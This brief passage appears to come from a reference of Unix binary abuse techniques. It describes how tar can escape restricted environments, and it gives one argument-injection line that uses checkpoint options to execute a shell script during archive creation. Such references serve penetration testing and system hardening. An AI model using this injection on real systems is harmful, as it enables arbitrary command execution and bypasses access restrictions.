It can be used to break out from restricted environments by running non-interactive system commands.
When injecting during archive creation, it requires injection of two arguments and a positional argument.
tar '--checkpoint=1' '--checkpoint-action=exec="sh shell.sh"'